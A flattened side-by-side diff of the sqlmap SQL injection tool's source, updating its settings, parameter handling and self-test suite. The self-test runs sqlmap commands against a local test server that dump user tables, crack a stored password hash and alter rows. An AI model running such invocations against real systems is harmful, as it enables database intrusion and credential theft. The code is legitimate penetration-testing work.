@@ -7,13 +7,13 @@ See the file 'LICENSE' for copying permission
import sqlite3 import sqlite3
from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapValueException
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.utils.safe2bin import safechardecode
class Replication(object): class Replication(object):
""" """
+7 -2
View File
@@ -40,9 +40,14 @@ def getRevisionNumber():
with openFile(filePath, "r") as f: with openFile(filePath, "r") as f:
content = getText(f.read()) content = getText(f.read())
filePath = None filePath = None
if content.startswith("ref: "): if content.startswith("ref: "):
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() try:
else: filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
except UnicodeError:
pass
if filePath is None:
match = re.match(r"(?i)[0-9a-f]{32}", content) match = re.match(r"(?i)[0-9a-f]{32}", content)
retVal = match.group(0) if match else None retVal = match.group(0) if match else None
break break
+24 -11
View File
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.8.0" VERSION = "1.3.12.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner # colorful banner
@@ -231,6 +232,9 @@ STDIN_PIPE_DASH = '-'
# URL used in dummy runs # URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1" DUMMY_URL = "http://foo/bar?id=1"
# Timeout used during initial websocket (pull) testing
WEBSOCKET_INITIAL_TIMEOUT = 3
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
PLATFORM = os.name PLATFORM = os.name
PYVERSION = sys.version.split()[0] PYVERSION = sys.version.split()[0]
@@ -240,10 +244,10 @@ IS_WIN = PLATFORM == "nt"
IS_TTY = os.isatty(sys.stdout.fileno()) IS_TTY = os.isatty(sys.stdout.fileno())
# DBMS system databases # DBMS system databases
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -251,7 +255,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -333,6 +337,9 @@ BLANK = "<blank>"
# String representation for current database # String representation for current database
CURRENT_DB = "CD" CURRENT_DB = "CD"
# String representation for current user
CURRENT_USER = "CU"
# Name of SQLite file used for storing session data # Name of SQLite file used for storing session data
SESSION_SQLITE_FILE = "session.sqlite" SESSION_SQLITE_FILE = "session.sqlite"
@@ -357,7 +364,10 @@ ERROR_PARSING_REGEXES = (
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>' META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
# Regular expression used for parsing refresh info from meta html headers # Regular expression used for parsing refresh info from meta html headers
META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>' META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
# Regular expression used for parsing Javascript redirect request
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
# Regular expression used for parsing empty fields in tested form data # Regular expression used for parsing empty fields in tested form data
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))' EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
@@ -375,7 +385,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}" BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
# Regex used for parsing XML Burp saved history items # Regex used for parsing XML Burp saved history items
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)' BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
# Encoding used for Unicode data # Encoding used for Unicode data
UNICODE_ENCODING = "utf8" UNICODE_ENCODING = "utf8"
@@ -410,6 +420,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
# Character used for marking injectable position inside provided data # Character used for marking injectable position inside provided data
CUSTOM_INJECTION_MARK_CHAR = '*' CUSTOM_INJECTION_MARK_CHAR = '*'
# Wildcard value that can be used in option --ignore-code
IGNORE_CODE_WILDCARD = '*'
# Other way to declare injection position # Other way to declare injection position
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%" INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
@@ -540,7 +553,7 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
# Data inside shellcodeexec to be filled with random string # Data inside shellcodeexec to be filled with random string
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
# Period after last-update to start nagging about the old revision # Period after last-update to start nagging about the old revision
LAST_UPDATE_NAGGING_DAYS = 60 LAST_UPDATE_NAGGING_DAYS = 60
@@ -591,6 +604,9 @@ PARSE_HEADERS_LIMIT = 3
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_STEP = 10 ORDER_BY_STEP = 10
# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_MAX = 1000
# Maximum number of times for revalidation of a character in inference (as required) # Maximum number of times for revalidation of a character in inference (as required)
MAX_REVALIDATION_STEPS = 5 MAX_REVALIDATION_STEPS = 5
@@ -718,7 +734,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100 MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors # Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
# Regular expression used for extracting ASP.NET view state values # Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -807,9 +823,6 @@ BRUTE_DOC_ROOT_PREFIXES = {
OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
} }
# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS)
TAKEOVER_TABLE_PREFIX = "sqlmap"
# Suffixes used in brute force search for web server document root # Suffixes used in brute force search for web server document root
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
+3
View File
@@ -13,6 +13,7 @@ import subprocess
import time import time
from lib.core.compat import buffer from lib.core.compat import buffer
from lib.core.convert import getBytes
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
if IS_WIN: if IS_WIN:
@@ -192,6 +193,8 @@ def send_all(p, data):
if not data: if not data:
return return
data = getBytes(data)
while len(data): while len(data):
sent = p.send(data) sent = p.send(data)
if not isinstance(sent, int): if not isinstance(sent, int):
+23 -16
View File
@@ -125,8 +125,8 @@ def _setRequestParams():
return retVal return retVal
if kb.processUserMarks is None and kb.customInjectionMark in conf.data: if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
message += "'--data'. Do you want to process it? [Y/n/q] " message += "body. Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
if choice == 'Q': if choice == 'Q':
@@ -151,12 +151,13 @@ def _setRequestParams():
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
if match and not (conf.testParameter and match.group("name") not in conf.testParameter): if not (conf.testParameter and match.group("name") not in conf.testParameter):
_ = match.group(2) _ = match.group(2)
_ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
kb.postHint = POST_HINT.JSON kb.postHint = POST_HINT.JSON
@@ -256,6 +257,9 @@ def _setRequestParams():
kb.processUserMarks = True kb.processUserMarks = True
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
continue
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
if kb.customInjectionMark in _: if kb.customInjectionMark in _:
if kb.processUserMarks is None: if kb.processUserMarks is None:
@@ -560,16 +564,18 @@ def _setResultsFile():
return return
if not conf.resultsFP: if not conf.resultsFP:
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
found = os.path.exists(conf.resultsFile)
try: try:
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0) conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError) as ex: except (OSError, IOError) as ex:
try: try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
os.close(handle) os.close(handle)
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
logger.warn(warnMsg) logger.warn(warnMsg)
except IOError as _: except IOError as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -578,9 +584,10 @@ def _setResultsFile():
errMsg += "create temporary files and/or directories" errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) if not found:
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
def _createFilesDir(): def _createFilesDir():
""" """
+65 -13
View File
@@ -14,6 +14,8 @@ import os
import random import random
import re import re
import shutil import shutil
import socket
import sqlite3
import sys import sys
import tempfile import tempfile
import threading import threading
@@ -31,6 +33,7 @@ from lib.core.common import readXmlFile
from lib.core.common import shellExec from lib.core.common import shellExec
from lib.core.compat import round from lib.core.compat import round
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -61,8 +64,34 @@ def vulnTest():
Runs the testing against 'vulnserver' Runs the testing against 'vulnserver'
""" """
TESTS = (
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
("-l <log> --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
)
retVal = True retVal = True
count, length = 0, 6 count = 0
address, port = "127.0.0.10", random.randint(1025, 65535) address, port = "127.0.0.10", random.randint(1025, 65535)
def _thread(): def _thread():
@@ -73,25 +102,48 @@ def vulnTest():
thread.daemon = True thread.daemon = True
thread.start() thread.start()
for options, checks in ( while True:
("--flush-session", ("CloudFlare",)), s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), try:
("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), s.connect((address, port))
("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), break
("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)), except:
("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)), time.sleep(1)
):
cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options) handle, database = tempfile.mkstemp(suffix=".sqlite")
os.close(handle)
with sqlite3.connect(database) as conn:
c = conn.cursor()
